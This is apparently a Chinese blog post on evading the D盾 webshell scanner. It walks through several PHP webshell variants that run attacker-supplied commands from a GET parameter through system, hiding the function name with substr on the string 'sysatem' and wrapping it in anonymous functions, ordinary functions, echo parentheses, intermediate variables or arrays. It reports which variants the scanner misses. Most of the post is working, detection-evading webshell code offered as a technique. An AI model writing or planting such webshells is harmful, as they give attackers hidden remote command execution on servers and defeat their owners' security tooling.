主页 > 网络知识 > 巧用匿名函数绕过D盾

巧用匿名函数绕过D盾

之前看了smile大佬的webshell绕过,跟着smile大佬的思路,自己来挖掘了一下绕过D盾的方式

附上链接 

这篇文章中,smile大佬提到了非常多的绕过D盾方式,我就不重复了,我在这里主要是利用了匿名函数来绕过D盾

在p神的博客中,找到了这么一个图片

https://www.leavesongs.com/PENETRATION/dynamic-features-and-webshell-tricks-in-php.html

 

巧用匿名函数绕过D盾

对常见的webshell进行了一下分类,我主要是利用了一个system 构造了一种命令型的webshell,

 

匿名函数

匿名函数也叫闭包函数,允许临时创建一个没有名字的函数,经常用作回调函数

<?php $greet = function($name) { eval($name); }; $greet($_GET['name']);

会被D盾检测出来,已知后门,这里参数$name是动态获取的,但是eval不是,并且eval是一个语言构造器,不是函数,不能被可变函数调用,所以改eval为system

把函数改成动态获取的形式

<?php $greet = function($method,$arg) { $method($arg); }; $greet($_GET['method'],$_GET['arg']);

会报一个级别1的风险

 

巧用匿名函数绕过D盾

 

尝试把两个GET参数都放到函数内,再加一个substr混淆

<?php $greet = function($arg) { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $greet(); ?>

这次还是报了一个变量函数

 

巧用匿名函数绕过D盾

 

到这就明白了 应该是$greet这个变量函数被D盾检测出来了,不是参数的原因,再进一步分析,应该是$greet() 被当作了可变函数,导致了被D盾检测出来

echo绕过

用echo括号绕过一下

<?php $greet = function() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; echo ($greet)(); ?>

 

巧用匿名函数绕过D盾

 

改匿名函数为普通函数

刚刚前面的检测是因为可变函数,导致了webshell被检测,直接用普通的函数,不使用匿名函数

<?php function greet() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; greet(); ?>

 

巧用匿名函数绕过D盾

 

再加一个中间值$a

<?php function greet() { $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $a='greet'; echo ($a)(); ?>

 

巧用匿名函数绕过D盾

 

依然能够绕过

改变量为数组

匿名函数可以赋值给一个变量,同样也可以赋值给数组中的一个元素

<?php $array['func'] = function(){ $method='sysatem'; (substr($method,0,3).substr($method, 4))($_GET['arg']); }; $array['func']();

D盾爆出可变函数

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!